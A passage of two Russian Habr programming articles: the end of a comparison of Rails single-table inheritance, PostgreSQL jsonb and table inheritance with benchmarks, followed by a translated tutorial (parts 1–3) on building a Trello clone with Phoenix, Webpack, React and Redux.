class Topics::Article < Topic
end
class Topics::NewsItem < Topic
end
...
```
Общая логика (например, публикация материала) уходит в Topic. Специфичная в отнаследованные классы.
У этой простой и обкатанной схемы есть проблемы с масштабированием. Что делать, если типов топиков уже больше пятнадцати и у каждого от двух до десяти уникальных полей?
На этом моменте бд пуристы морщатся как будто бы от сильнейшей зубной боли — воображая себе таблицу, строки которой всегда заполнены не более чем на 15-20%.
STI + Jsonb
-----------
### Jsonb
В Postgresql c 9.4 есть возможность создавать поля типа jsonb. Как это может нам помочь?
Добавив в topics поле data этого типа мы можем хранить все наши дополнительные поля в ключах json.
Подключить в Рельсах это можно так:
```
class Topics::Online < Topic
store_accessor :data, :start_at, :live
end
```
Теперь можно делать так:
```
online = Topics::Online.new(live: true)
```
```
online.live # => true
```
Или напрямую обращаться в json:
```
online['data']['live'] # => true
```
Проблемы Jsonb
--------------
Наслаждение достигнутым успехом быстро омрачается подпорками из костылей.
### Преобразование типов
Помимо экзотики вроде массивов и объектов (хешей) jsonb предлагает для всех полей использовать только Number, String и Boolean.
Для других типов полей придется писать дополнительные методы. А если вы предпочитаете с сахаром, то и для этих полей тоже.
Предикаты:
```
def live?
live == true
end
```
Более сложный случай для DateTime:
```
def start_at
return Time.zone.parse(super) if super.is_a?(String)
end
```
Здесь нужно распарсить строку во время и не сломаться. Потому что ломаться нужно на этапе сохранения данных.
### Валидация входных значений
Валидаций типа на уровне бд нет, можно легко и непринужденно сохранить такой топик:
```
online.live = 'Elvis'
online.start_at = 'Presley'
```
Существующие гемы, например activerecord-typedstore, частично решают проблему парсинга строк, но совсем не справляются с проверкой входных значений. Все нужно закрывать из приложения кастомными валидациями.
### Громоздкие запросы
Булево поле:
```
scope live, -> { where(live: true) }
```
```
scope live, -> { where("(params->>'live')::bool = ?", true) }
```
А теперь даты:
```
scope :by_range, ->(start_date, end_date) { where(date: start_date..end_date) }
```
```
scope :by_range, lambda { |start_date, end_date|
where(
"to_date(params->>'date', 'YYYY-MM-DD') BETWEEN ? AND ?",
start_date, end_date
)
}
```
Помимо общей монструозности этот запрос еще и будет медленнее работать, из-за вынужденного использования `to_date` Постгреса.
### Uniq
Постгрес пока не умеет делать обычный DISTINCT (.uniq) для записей с jsonb, нужно делать так:
```
.select('DISTINCT ON (tags.id) tags.*')
```
### Нет значений по умолчанию
Приходится использовать разные конструкции в `before_initialize` вместо привычных `null: false, default: false` в миграции.
### Связи
Использовать рельсовые `has_many` и `belongs_to` не выйдет. Нужно писать что-то свое.
На этом этапе jsonb получил черную метку и до троллейбуса из буханки хлеба дело не дошло.
Мигрируем на Postgres Inheritance
---------------------------------
Наследование таблиц появилось в Постгресе достаточно давно (скорее всего обновлять версию не потребуется) и близко концепции наследования классов.
Только не классов, а таблиц, и не в Руби, а в Постгресе.
У вас по прежнему есть таблица topics, но расширяете ее вы не через набор дополнительных полей в этой самой таблице, а через дополнительные таблицы, содержащие только уникальные для каждого класса поля.
Проще всего показать на примере:
```
CREATE TABLE topics (
headline text,
author_id int
);
CREATE TABLE topics_onlines (
status char(2)
) INHERITS (topics);
```
Создав `topics_onlines` мы можем работать с ней как с обычной таблицей, у которой будут все три поля:
```
class Topics::Online < Topic
# headline, author_id, status
end
```
Это просто, красиво и не требует массивного переписывания кода.
### Postgres Inheritance + Rails
```
SELECT c.tableoid, c.headline, c.author_id FROM topics c
```
```
tableoid | headline | author_id
----------+-----------+----------
139793 | Las Vegas | 2174
139793 | Mariposa | 1953
139798 | Madison | 845
```
Родительская и дочерняя таблицы линкуются внутри Постгреса через tableoid. Мы не увидими никаких джойнов по tableoid в explain, все это работает внутри Постгреса.
Из приложения `topics_onlines` будет выглядеть как самая обычная таблица без наследований, содержащая все поля из `topics` и специфичные для онлайна поля из `topics_onlines`.
А это значит, что со стороны Рельс нужно только написать миграцию создающую таблицы.
И что наследование таблиц можно использовать с любым фреймворком.
Миграция с STI на PGI
---------------------
Чтобы воспользоваться всей этой радостью нужно написать миграцию.
Для начала нам потребуется стандартная обертка для sql миграции в Рельсах:
```
class CreateInheritanceTablesForTopics < ActiveRecord::Migration
def change
reversible do |dir|
dir.up do
...
end
end
end
```
Код дальше вставляется на место многоточия. Чтобы не накидывать простыню кода сразу, я покажу миграцию по порциям.
### Триггер для проверки на уникальность по всем таблицам топиков
Создаем, но пока нигде не используем триггер в Postgresql:
```
CREATE OR REPLACE FUNCTION check_for_topic_dups()
RETURNS trigger AS
$func$
BEGIN
PERFORM 1 FROM topics where NEW.id=id;
IF FOUND THEN
RAISE unique_violation USING MESSAGE = 'Duplicate ID: ' || NEW.id;
RETURN NULL;
END IF;
RETURN NEW;
END;
$func$ LANGUAGE plpgsql;
```
Триггер вызывает ошибку, если топик с таким id уже существует. Это страховка на тот случай, если что-то пошло не так.
Самое важное ограничение PGI — для всех дочерних таблиц не действуют индексы и ограничения родительской таблицы. То есть в этом плане все действительно ощущается как разные физические таблицы.
Для наших условий у разных типов топиков не может повторяться айдишник, поэтому был добавлен этот триггер. Он опционален и нужен как страховка.
### Создание таблиц
```
Topic.descendants.each do |topic_type|
sql = <<-SQL
CREATE TABLE #{topic_type.pgi_table_name} ( CHECK (type='#{topic_type}') )
INHERITS (topics);
CREATE RULE redirect_insert_to_#{topic_type.table_name} AS
ON INSERT TO topics WHERE
(type='#{topic_type}')
DO INSTEAD
INSERT INTO #{topic_type.table_name} VALUES (NEW.*);
CREATE TRIGGER check_uniquiness_#{topic_type.table_name}
BEFORE INSERT ON #{topic_type.table_name}
FOR EACH ROW EXECUTE PROCEDURE check_for_topic_dups();
SQL
execute(sql)
add_index topic_type.table_name, :id
end
```
* Создаются таблицы для каждого типа топиков (метамагия здесь больше для компактности, в миграциях так лучше не делать)
* Для каждой дочерней таблицы добавляется ограничение на тип топика (в `topics_onlines` можно вставить только `Topics::Online`)
* При попытке вставить топик с заполненным типом в topics он будет перенаправлен в дочернюю таблицу по типу
* Вешаем на каждую таблицу раннее созданный триггер для проверки уникальных айдишников
* Создаем индексы для дочерних таблиц
Разумеется, миграцию можно посадить на строгую диету, а все проверки вытащить в сами Рельсы.
Добавляем нативные поля в отнаследованные таблицы
-------------------------------------------------
В новые таблицы можно добавлять поля используя стандартные миграции:
```
Class PopulateTopicsTablesWithFields < ActiveRecord::Migration
def change
add_column :topics_onlines, :start_at, :datetime
add_column :topics_news, :main, :boolean, null: false, default: false
end
end
```
Если вы не готовы полностью избавиться от STI, то в классах топиков прописывается нужная таблица:
```
class Topics::Online < Topic
self.table_name = :topics_online
end
```
Осталось только изменить тип схемы на sql:
```
# config/application.rb
config.active_record.schema_format = :sql
```
И все готово.
Скорость — PGI vs jsonb
-----------------------
Заключительным этапом было бы интересно оценить производительность. Так как все это затевалось ради удобства разработки, то тестированию скорости PGI было уделено не так много времени, однако какие-то выводы сделать можно.
После миграции были подняты две версии приложения, PGI и старая с jsonb.
Больше `5_000_000` топиков в каждой базе.
### Количество всех топиков
Самый синтетический пример:
PGI:
```
Topics::Topic.count
(8591.6ms) SELECT COUNT(*) FROM "topics"
=> 5316226
```
Jsonb:
```
Topics::Topic.count
(8580.1ms) SELECT COUNT(*) FROM "topics"
=> 5316226
```
Не удивляйтесь странному числу, топики создавались пока не закончилось место на ssd.
### Количество топиков одного типа
PGI:
```
Gazeta::Topics::Sport::Online.count
* (219.5ms) SELECT COUNT(*) FROM "topics_sport_onlines"
WHERE "topics_sport_onlines"."type" IN ('Gazeta::Topics::Sport::Online')
=> 1000000
```
Jsonb:
```
Gazeta::Topics::Sport::Online.count
* (419.0ms) SELECT COUNT(*) FROM "topics"
WHERE "topics"."type" IN ('Gazeta::Topics::Sport::Online')
=> 1000000
```
Запрос по boolean полю
----------------------
Индекс не используется из-за высокой селективности.
PGI:
```
Gazeta::Topics::Sport::Online.megauho.explain
* Gazeta::Topics::Sport::Online Load (1376.2ms) SELECT "topics_sport_onlines".*
FROM "topics_sport_onlines"
WHERE "topics_sport_onlines"."type" IN ('Gazeta::Topics::Sport::Online')
AND "topics_sport_onlines"."megauho" = $1 [["megauho", "t"]]
```
Jsonb:
```
Gazeta::Topics::Sport::Online.megauho.explain
* Gazeta::Topics::Sport::Online Load (5819.6ms) SELECT "topics".*
FROM "topics"
WHERE "topics"."type" IN ('Gazeta::Topics::Sport::Online')
AND ((topics.params->>'megauho')::bool = 't')
```
Разница существенная.
Запрос по boolean полю c лимитом
--------------------------------
Хотя бы уже пересекается с реальным миром.
PGI:
```
Gazeta::Topics::Sport::Online.megauho.limit(1000).explain
* Gazeta::Topics::Sport::Online Load (9.1ms) SELECT "topics_sport_onlines".*
FROM "topics_sport_onlines"
WHERE "topics_sport_onlines"."type" IN ('Gazeta::Topics::Sport::Online')
AND "topics_sport_onlines"."megauho" = $1 LIMIT 1000 [["megauho", "t"]]
```
Jsonb:
```
Gazeta::Topics::Sport::Online.megauho.limit(1000).explain
* Gazeta::Topics::Sport::Online Load (23.7ms) SELECT "topics".*
FROM "topics"
WHERE "topics"."type" IN ('Gazeta::Topics::Sport::Online')
AND ((topics.params->>'megauho')::bool = 't') LIMIT 1000
```
Разница есть.
---
PGI для запроса с низкой селективностью
---------------------------------------
Поиск по индексу, вернет 123 записи из миллиона, Index Scan.
PGI:
```
Gazeta::Topics::Sport::Online.megauho.megauho_by_date('2015-12-26').explain
* Gazeta::Topics::Sport::Online Load (6.0ms) SELECT "topics_sport_onlines".*
FROM "topics_sport_onlines" WHERE "topics_sport_onlines"."type"
IN ('Gazeta::Topics::Sport::Online')
AND "topics_sport_onlines"."megauho" = $1
AND (topics_sport_onlines.date = '2015-12-26') [["megauho", "t"]]
QUERY PLAN
----------
* Index Scan using index_type_megauho_date on topics_sport_onlines
(cost=0.42..42.12 rows=20 width=682)
Index Cond: (((type)::text = 'Gazeta::Topics::Sport::Online'::text)
AND (megauho = true) AND ((date)::text = '2015-12-26'::text))
Filter: megauho
(3 rows)
```
Jsonb:
```
Gazeta::Topics::Sport::Online.megauho.megauho_by_date('2015-12-26').explain
* Gazeta::Topics::Sport::Online Load (7.7ms) SELECT "topics".*
FROM "topics" WHERE "topics"."type"
IN ('Gazeta::Topics::Sport::Online')
AND ((topics.params->>'megauho')::bool = 't')
AND (topics.params->>'date' = '2015-12-26')
QUERY PLAN
----------
* Index Scan using index_type_megauho_date on topics
(cost=0.56..217.61 rows=27 width=948)
Index Cond: (((type)::text = 'Gazeta::Topics::Sport::Online'::text)
AND ((params ->> 'date'::text) = '2015-12-26'::text))
Filter: ((params ->> 'megauho'::text))::boolean
(3 rows)
```
* PGI быстрее.
* Чем больше выборка — тем быстрее.
* Для запросов использующих индексы, PGI все еще быстрее, но разница уже менее ощутима.
Правильно готовим jsonb
-----------------------
Для задачи полноценного расширения моделей jsonb может оказаться крайне токсичным. Разумеется, PGI тоже имеет свои ограничения, но для наших задач они были преодолены за один раз, во время миграции.
И все же jsonb может быть полезен для слабо структурированных данных из внешнего источника. Эти поля даже не нужно определять через `store_accessor`, их можно просто сохранять как есть, а дальше отдельный класс Builder соберет из них что-то полезное.
Для нас такими данными стали спортивные трансляции, забираемые из внешнего апи. | https://habr.com/ru/post/282676/ | null | ru | null |
# Клон Trello на Phoenix и React. Части 1-3
[Trello](https://trello.com/) — одно из самых моих любимых приложений. Я пользуюсь им с момента появления, и мне очень нравится то, как оно работает, его простота и гибкость. Каждый раз, начиная изучать новую технологию, я предпочитаю создать полноценное приложение, в котором смогу применить на практике всё, что изучил, для решения реальных проблем, и проверить эти решения. Так что начав изучать [Elixir](http://elixir-lang.org/) и его [Phoenix](http://www.phoenixframework.org/) Framework я понял: я должен на практике использовать весь этот потрясающий материал, с которым познакомился, и поделиться им в виде руководства о том, как реализовать простое, но функциональное посвящение **Trello**.
**Оглавление (текущий материал выделен)**1. **Введение и выбор стека технологий**
2. **Начальная настройка проекта Phoenix Framework**
3. **Модель User и JWT-аутентификация**
4. [Front-end для регистрации на React и Redux](https://habrahabr.ru/post/308100/#4)
5. [Начальное заполнение базы данных и контроллер для входа в приложение](https://habrahabr.ru/post/308100/#5)
6. [Аутентификация на front-end на React и Redux](https://habrahabr.ru/post/308248/#6)
7. [Настраиваем сокеты и каналы](https://habrahabr.ru/post/308248/#7)
8. [Выводим список и создаём новые доски](https://habrahabr.ru/post/308382/#8)
9. [Добавляем новых пользователей досок](https://habrahabr.ru/post/308382/#9)
10. [Отслеживаем подключённых пользователей досок](https://habrahabr.ru/post/316108/#10)
11. [Добавляем списки и карточки](https://habrahabr.ru/post/316108/#11)
12. [Выкладываем проект на Heroku](https://habrahabr.ru/post/316108/#12)
**Примечание от переводчика***В начале года, решив познакомиться с Elixir и Phoenix Framework, я наткнулся в Сети на интересный цикл статей, посвященный реализации клона Trello с помощью Elixir, Phoenix и React. Он показался мне довольно интересным, русского перевода я не нашёл, но поделиться захотелось. Наконец-то руки дошли до перевода.*
*Должен отметить, что с экосистемой React я совершенно незнаком, эта часть будет приведена как есть; к тому же, некоторые моменты в Elixir/Phoenix за это время изменились — проекты на месте не стоят. Так же надеюсь найти время в будущем на то, чтобы реализовать front-end с помощью Angular2 и опубликовать статью об этом, благо как раз занимаюсь связкой Angular2 <-> Phoenix Channels <-> Elixir/Phoenix Framework.*
*На мой взгляд, в оригинальном цикле статьи-блоки слишком короткие, поэтому одна публикация здесь будет содержать несколько частей, ссылки на оригинал будут рядом с подзаголовками.*
*В спорных случаях я буду давать оригинальные названия терминов, в случае расхождений переводов прошу простить и присылать альтернативные предложения. Исправления любых ошибок, опечаток и неточностей так же приветствуются.*
*И прошу прощения за дублирование вступления — даже под спойлером не получилось до ката разместить и примечание, и введение от автора. Решил, что введение важнее.*
Введение и выбор стека технологий
---------------------------------
[Оригинал](https://blog.diacode.com/trello-clone-with-phoenix-and-react-pt-1)
[Trello](https://trello.com/) — одно из самых моих любимых приложений. Я пользуюсь им с момента появления, и мне очень нравится то, как оно работает, его простота и гибкость. Каждый раз, начиная изучать новую технологию, я предпочитаю создать полноценное приложение, в котором смогу применить на практике всё, что изучил, для решения реальных проблем, и проверить эти решения. Так что начав изучать [Elixir](http://elixir-lang.org/) и его [Phoenix](http://www.phoenixframework.org/) Framework я понял: я должен на практике использовать весь этот потрясающий материал, с которым познакомился, и поделиться им в виде руководства о том, как реализовать простое, но функциональное посвящение **Trello**.
### Что мы собираемся сделать
По сути, мы создадим одностраничное приложение, в котором существующие пользователи смогут авторизоваться, создать несколько досок, поделиться ими с другими пользователями и добавить на них списки и карточки. Подключенные пользователи будут показаны при просмотре доски, а любые изменения автоматически немедленно — в стиле Trello — будут отражаться в браузере каждого такого пользователя.
#### Текущий стек технологий
**Phoenix** управляет статическими ресурсами с помощью **npm** и собирает их, прямо "из коробки" используя **Brunch** или **Webpack**, так что довольно просто по-настоящему разделить front-end и back-end, при этом сохраняя единую кодовую базу. Так, для back-end мы воспользуемся:
* Elixir
* Phoenix Framework
* Ecto
* PostgreSQL
А чтобы создать одностраничное приложение для front-end:
* Webpack
* Sass для таблиц стилей
* React
* React router
* Redux
* ES6/ES7 JavaScript
Мы воспользуемся несколько большим количеством зависимостей Elixir и пакетов npm, но я расскажу о них позднее, в процессе использования.
#### Почему этот стек?
Elixir — очень быстрый и мощный функциональный язык, базирующийся на **Erlang** и имеющий дружелюбный синтаксис, весьма похожий на Ruby. Он очень надёжен и специализируется на параллельности, и благодаря виртуальной машине Erlang (**Erlang VM**, *BEAM — прим. переводчика*) может справиться с тысячами параллельных процессов. Я новичок в Elixir, так что мне всё ещё предстоит изучить немало, но исходя из уже изученного могу сказать, что это очень впечатляюще.
Мы будем использовать **Phoenix** — на текущий момент наиболее популярный веб-фреймворк для Elixir, который не только реализует некоторые моменты и стандарты, привнесённые в веб-разработку **Rails**, но и предлагает много других клёвых возможностей вроде способа управления статическими ресурсами, который я упомянул выше, и, самое важное для меня, встроенной **realtime** функциональности с помощью **websockets** без каких-либо сложностей и дополнительных внешних зависимостей (и поверьте мне — это работает как часы).
В то же время мы воспользуемся **React**, **react-router** и **Redux**, потому что я просто обожаю использовать это сочетание для создания одностраничных приложений и управления их состоянием. Вместо того, чтобы как обычно использовать CoffieScript, в новом году (*статья была написана в начале января 2016 года — прим. переводчика*) я хочу поработать с ES6 и ES7, так что это отличная возможность начать и втянуться.
#### Конечный результат
Приложение будет состоять из четырёх различных представлений. Первые два — экраны регистрации и входа в систему:
Главный экран будет содержать список собственных досок пользователя и досок, к которым он был подключён другими пользователями:
И, наконец, представление доски, где все пользователи смогут видеть, кто к ней подключён, а так же управлять списками и карточками:
Но довольно разговоров. Остановимся здесь, чтобы я мог начать подготовку второй части, в которой мы увидим, как создать новый проект Phoenix, что необходимо изменить, чтобы возпользоваться Webpack вместо Brunch и как настроить основу для front-end.
Начальная настройка проекта Phoenix Framework
---------------------------------------------
[Оригинал](https://blog.diacode.com/trello-clone-with-phoenix-and-react-pt-2)
Итак, после того, как мы выбрали текущий стек технологий, давайте начнём с создания нового проекта Phoenix. Перед этим необходимо иметь уже установленными [Elixir](http://elixir-lang.org) и [Phoenix](http://www.phoenixframework.org), так что воспользуйтесь официальными сайтами для получения [инструкций по установке](http://www.phoenixframework.org/docs/installation).
### Статические ресурсы с помощью Webpack
В отличие от Ruby on Rails **Phoenix** не имеет собственного конвейера обработки ресурсов (asset pipeline, *некоторые русскоязычные Rails-ресурсы переводят термин как "файлопровод" — прим. переводчика*), вместо этого используется [**Brunch**](http://brunch.io/) как средство для сборки ресурсов, что лично я считаю более современным и гибким. Прикольно, что нет необходимости использовать и **Brunch**, если вы этого не хотите, можно воспользоваться [**Webpack**](https://webpack.github.io/). Я никогда не имел дела с **Brunch**, поэтому вместо него мы применим **Webpack**.
Phoenix включает **node.js** как [опциональную зависимость](http://www.phoenixframework.org/docs/installation#section-node-js-5-0-0-), поскольку она требуется для Brunch, но так как Webpack тоже нуждается в node.js, удостоверьтесь, что последняя у вас установлена.
Создадим новый проект Phoenix без Brunch:
```
$ mix phoenix.new --no-brunch phoenix_trello
...
...
...
$ cd phoenix_trello
```
Хорошо, теперь у нас есть новый проект без средств сборки ресурсов. Создадим новый файл `package.json` и установим **Webpack** как зависимость для разработки (*dev dependency — прим. переводчика*):
```
$ npm init
... (Можно просто нажать Enter в ответ на вопрос об установке значений по умолчанию)
...
...
$ npm i webpack --save-dev
```
Теперь наш `package.json` должен выглядеть примерно так:
```
{
"name": "phoenix_trello",
"devDependencies": {
"webpack": "^1.12.9"
},
"dependencies": {
},
}
```
Для проекта нам понадобится куча зависимостей, так что вместо того, чтобы листать их все тут, пожалуйста, загляните в [исходный файл](https://github.com/bigardone/phoenix-trello/blob/master/package.json) в репозитории проекта и скопируйте их оттуда в свой `package.json`. Теперь необходимо запустить следующую команду, чтобы установить все пакеты:
```
$ npm install
```
Нам так же нужно добавить конфигурационный файл `webpack.config.js`, чтобы подсказать Webpack, как собирать ресурсы:
```
'use strict';
var path = require('path');
var ExtractTextPlugin = require('extract-text-webpack-plugin');
var webpack = require('webpack');
function join(dest) { return path.resolve(__dirname, dest); }
function web(dest) { return join('web/static/' + dest); }
var config = module.exports = {
entry: {
application: [
web('css/application.sass'),
web('js/application.js'),
],
},
output: {
path: join('priv/static'),
filename: 'js/application.js',
},
resolve: {
extesions: ['', '.js', '.sass'],
modulesDirectories: ['node_modules'],
},
module: {
noParse: /vendor\/phoenix/,
loaders: [
{
test: /\.js$/,
exclude: /node_modules/,
loader: 'babel',
query: {
cacheDirectory: true,
plugins: ['transform-decorators-legacy'],
presets: ['react', 'es2015', 'stage-2', 'stage-0'],
},
},
{
test: /\.sass$/,
loader: ExtractTextPlugin.extract('style', 'css!sass?indentedSyntax&includePaths[]=' + __dirname + '/node_modules'),
},
],
},
plugins: [
new ExtractTextPlugin('css/application.css'),
],
};
if (process.env.NODE_ENV === 'production') {
config.plugins.push(
new webpack.optimize.DedupePlugin(),
new webpack.optimize.UglifyJsPlugin({ minimize: true })
);
}
```
Здесь мы указываем, что потребуется две [точки входа webpack](https://webpack.github.io/docs/multiple-entry-points.html), одна для JavaScript и вторая — для таблиц стилей, обе расположены в директории `web/static`. Выходные файлы будут созданы в `priv/static`. Так как мы собираемся воспользоваться некоторыми возможностями **ES6/7** и **JSX**, то будем использовать **Babel** с некоторыми предустановками, созданными для этих целей.
Последний шаг — указать **Phoenix** стартовать **Webpack** каждый раз при запуске сервера разработки, чтобы Webpack отслеживал изменения в процессе разработки и генерировал соответствующие файлы ресурсов, на которые ссылается представление front-end'а. Для этого необходимо добавить описание 'наблюдателя' в файл `config/dev.exs`:
```
config :phoenix_trello, PhoenixTrello.Endpoint,
http: [port: 4000],
debug_errors: true,
code_reloader: true,
cache_static_lookup: false,
check_origin: false,
watchers: [
node: ["node_modules/webpack/bin/webpack.js", "--watch", "--color"]
]
...
```
Если мы теперь запустим сервер разработки, то сможем увидеть, что **Webpack** тоже работает и отслеживает изменения:
```
$ mix phoenix.server
[info] Running PhoenixTrello.Endpoint with Cowboy using http on port 4000
Hash: 93bc1d4743159d9afc35
Version: webpack 1.12.10
Time: 6488ms
Asset Size Chunks Chunk Names
js/application.js 1.28 MB 0 [emitted] application
css/application.css 49.3 kB 0 [emitted] application
[0] multi application 40 bytes {0} [built]
+ 397 hidden modules
Child extract-text-webpack-plugin:
+ 2 hidden modules
```
Ещё одна вещь, которую нужно сделать. Если мы заглянем в директорию `priv/static/js`, то обнаружим файл `phoenix.js`. Этот файл содержит всё, что нам понадобится для использования `websocket` и `channels`, так что давайте переместим его в нашу базовую директорию с исходниками `web/static/js`, чтобы можно было подключить его в момент, когда это понадобится.
### Основная структура front-end
Теперь у нас есть всё, чтобы начать программировать; начнём с создания структуры приложения front-end, которому, среди прочих, понадобятся следующие пакеты:
* **bourbon** и **bourbon-neat**, моя самая любимая библиотека включений (mixin) для Sass
* **history** для управления историей из JavaScript
* **react** и **react-dom**
* **redux** и **react-redux** для управления состоянием (state)
* **react-router** в качестве библиотеки для маршрутизации (роутинга)
* **redux-simple-router** для сохранения изменений маршрутов в состоянии (state)
Я не собираюсь терять время на обсуждении таблиц стилей, поскольку всё ещё правлю их, но хотел бы отметить, что для создания подходящей структуры **Sass**-файлов обычно использую [css-buritto](http://css-burrito.com/), который, по моему личному мнению, весьма полезен.
Нам нужно настроить хранилище **Redux** (redux store), так что создадим следующий файл:
```
//web/static/js/store/index.js
import { createStore, applyMiddleware } from 'redux';
import createLogger from 'redux-logger';
import thunkMiddleware from 'redux-thunk';
import { syncHistory } from 'react-router-redux';
import reducers from '../reducers';
const loggerMiddleware = createLogger({
level: 'info',
collapsed: true,
});
export default function configureStore(browserHistory) {
const reduxRouterMiddleware = syncHistory(browserHistory);
const createStoreWithMiddleware = applyMiddleware(reduxRouterMiddleware, thunkMiddleware, loggerMiddleware)(createStore);
return createStoreWithMiddleware(reducers);
}
```
Фактически, мы настраиваем хранилище (Store) с тремя промежуточными слоями (middleware):
* **reduxRouterMiddleware** для передачи действий (action) маршрутизатора к хранилищу
* **redux-thunk** для передачи асинхронный действий
* **redux-logger** для логирования любых действий и изменений состояния в консоль браузера
Нам также нужно передать комбинацию преобразователей состояния (state reducers), так что создадим базовую версию этого файла:
```
//web/static/js/reducers/index.js
import { combineReducers } from 'redux';
import { routeReducer } from 'redux-simple-router';
import session from './session';
export default combineReducers({
routing: routeReducer,
session: session,
});
```
В качестве отправной точки нам понадобится только два преобразователя (редьюсера): `routerReducer`, который будет автоматически передавать изменения маршрутизации в состояние, и `session`, выглядящий как-то так:
```
//web/static/js/reducers/session.js
const initialState = {
currentUser: null,
socket: null,
error: null,
};
export default function reducer(state = initialState, action = {}) {
return state;
}
```
Изначальное состояние последнего будет содержать объекты `currentUser`, который мы передадим после аутентификации посетителей, `socket`, которым мы воспользуемся для подключения к каналам (channels), и `error` для отслеживания любых проблем во время аутентификации пользователя.
Закончив с этим, мы можем перейти к нашему основному файлу `application.js` и отрисовать компонент `Root`:
```
//web/static/js/application.js
import React from 'react';
import ReactDOM from 'react-dom';
import { browserHistory } from 'react-router';
import configureStore from './store';
import Root from './containers/root';
const store = configureStore(browserHistory);
const target = document.getElementById('main_container');
const node = ;
ReactDOM.render(node, target);
```
Мы создаём объект, содержащий историю браузера, настраиваем хранилища, и, наконец, отрисовываем в основном шаблоне приложения компонент `Root`, который будет **Redux**-адаптером (wrapper) `Provider` для `routes`:
```
//web/static/js/containers/root.js
import React from 'react';
import { Provider } from 'react-redux';
import { Router } from 'react-router';
import invariant from 'invariant';
import routes from '../routes';
export default class Root extends React.Component {
_renderRouter() {
invariant(
this.props.routerHistory,
' needs either a routingContext or routerHistory to render.'
);
return (
{routes}
);
}
render() {
return (
{this.\_renderRouter()}
);
}
}
```
Теперь давайте опишем очень простой файл маршрутов:
```
//web/static/js/routes/index.js
import { IndexRoute, Route } from 'react-router';
import React from 'react';
import MainLayout from '../layouts/main';
import RegistrationsNew from '../views/registrations/new';
export default (
);
```
Наше приложение будет заключено внутрь компонента `MainLayout`, и корневой путь будет отрисовывать экран регистрации. Конечная версия этого файла станет несколько сложнее из-за механизма аутентификации, который мы реализуем далее, но поговорим об этом позже.
В завершении необходимо добавить html-контейнер, в котором мы будем отрисовывать компонент `Root` в основном шаблоне приложения Phoenix:
```
Phoenix Trello
">
">
```
Обратите внимание, что теги link и script ссылаются на статические ресурсы, сгенерированные **Webpack**.
Так как мы собираемся управлять маршрутизацией на front-end, необходимо сказать Phoenix отправлять любые http-запросы на обработчик события (action) `index` контроллера `PageController`, который будет только отрисовывать основной шаблон и компонент `Root`:
```
# master/web/router.ex
defmodule PhoenixTrello.Router do
use PhoenixTrello.Web, :router
pipeline :browser do
plug :accepts, ["html"]
plug :fetch_session
plug :fetch_flash
plug :protect_from_forgery
plug :put_secure_browser_headers
end
scope "/", PhoenixTrello do
pipe_through :browser # Use the default browser stack
get "*path", PageController, :index
end
end
```
На данный момент это всё. В следующей публикации мы рассмотрим, как создать первую миграцию для базы данных, модель `User` и функциональность для создания нового пользовательского аккаунта.
Модель User и JWT-аутентификация
--------------------------------
[Оригинал](https://blog.diacode.com/trello-clone-with-phoenix-and-react-pt-3)
### Регистрация пользователя
Теперь, когда наш проект полностью настроен, мы готовы к созданию модели `User` и инструкций для миграции базы данных. В этой части мы увидим, как это сделать, а так же как позволить посетителю создать новый аккаунт пользователя.
### Модель и миграция User
Phoenix использует Ecto как посредник при любом взаимодействии с базой данных. В случае с Rails можно сказать, что Ecto был бы чем-то, похожим на ActiveRecords, хотя он и делит похожую функциональность по разным модулям.
Прежде, чем продолжить, необходимо создать базу данных (*но перед этим необходимо настроить параметры подключения к базе данных в `config/dev.exs` — прим. переводчика*):
```
$ mix ecto.create
```
Теперь создадим новую миграцию и модель Ecto. Генератор модели получает в качестве параметров название модуля, его множественную форму для именования схемы и требуемые поля в виде `имя:тип`, так что давайте выполним:
```
$ mix phoenix.gen.model User users first_name:string last_name:string email:string encrypted_password:string
```
Если мы взглянем на получившийся файл миграции, то немедленно отметим его похожесть на файл миграции Rails:
```
# priv/repo/migrations/20151224075404_create_user.exs
defmodule PhoenixTrello.Repo.Migrations.CreateUser do
use Ecto.Migration
def change do
create table(:users) do
add :first_name, :string, null: false
add :last_name, :string, null: false
add :email, :string, null: false
add :crypted_password, :string, null: false
timestamps
end
create unique_index(:users, [:email])
end
end
```
Я добавил запрет на `null` в содержимом полей и даже уникальный индекс для поля email. Делаю это потому, что предпочитаю переложить ответственность за целостность данных на базу данных вместо того, чтобы полагаться на приложение, как делают многие другие разработчики. Думаю, это просто вопрос персональных предпочтений.
Теперь давайте создадим в базе данных таблицу `users`:
```
$ mix ecto.migrate
```
Настало время посмотреть на модель `User` поближе:
```
# web/models/user.ex
defmodule PhoenixTrello.User do
use Ecto.Schema
import Ecto.Changeset
schema "users" do
field :first_name, :string
field :last_name, :string
field :email, :string
field :encrypted_password, :string
timestamps
end
@required_fields ~w(first_name last_name email)
@optional_fields ~w(encrypted_password)
def changeset(model, params \\ :empty) do
model
|> cast(params, @required_fields, @optional_fields)
end
end
```
В ней можно увидеть два основных раздела:
* Блок схемы (**schema**), в котором расположены все метаданные, относящиеся к полям таблицы
* Функцию **changeset**, в которой можно определить все проверки и трансформации, применяемые к данным до того, как они будут готовы к использованию в нашем приложении.
*Прим. переводчика:
В последние версии Ecto были внесены некоторые изменения. Например, атом :empty помечен как нерекомендуемый (deprecated), вместо него необходимо использовать пустой ассоциативный массив (map) `%{}`, а функцию cast/4 [рекомендуется заменить](https://hexdocs.pm/ecto/Ecto.Changeset.html#cast/4) на связку cast/3 и validate\_required/3. Естественно, генератор последних версий Phoenix этим рекомендациям следует.*
### Проверки и трансформации набора изменений (changeset)
Итак, когда пользователь регистрируется, мы хотели бы дополнительно ввести некоторые проверки, поскольку ранее добавили запрет на использование null в качестве значения полей и ввели требование уникальности email. Мы обязаны отразить это в модели `User`, чтобы обработать возможные ошибки, вызванные некорректными данными. Так же хотелось бы зашифровать поле `encrypted_field` так, чтобы даже несмотря на использование незашифрованной строки в качестве пароля записан он был в защищённом виде.
Давайте обновим модель и для начала добавим некоторые проверки:
```
# web/models/user.ex
defmodule PhoenixTrello.User do
# ...
schema "users" do
# ...
field :password, :string, virtual: true
# ...
end
@required_fields ~w(first_name last_name email password)
@optional_fields ~w(encrypted_password)
def changeset(model, params \\ :empty) do
model
|> cast(params, @required_fields, @optional_fields)
|> validate_format(:email, ~r/@/)
|> validate_length(:password, min: 5)
|> validate_confirmation(:password, message: "Password does not match")
|> unique_constraint(:email, message: "Email already taken")
end
end
```
В основном, мы сделали следующие модификации:
* добавили новое виртуальное поле `password`, которое не будет записано в базу данных, но может использоваться как любое другое поле для любых иных целей. В нашем случае мы будем его заполнять из формы регистрации
* сделали поле `password` обязательным
* добавили проверку формата поля `email`
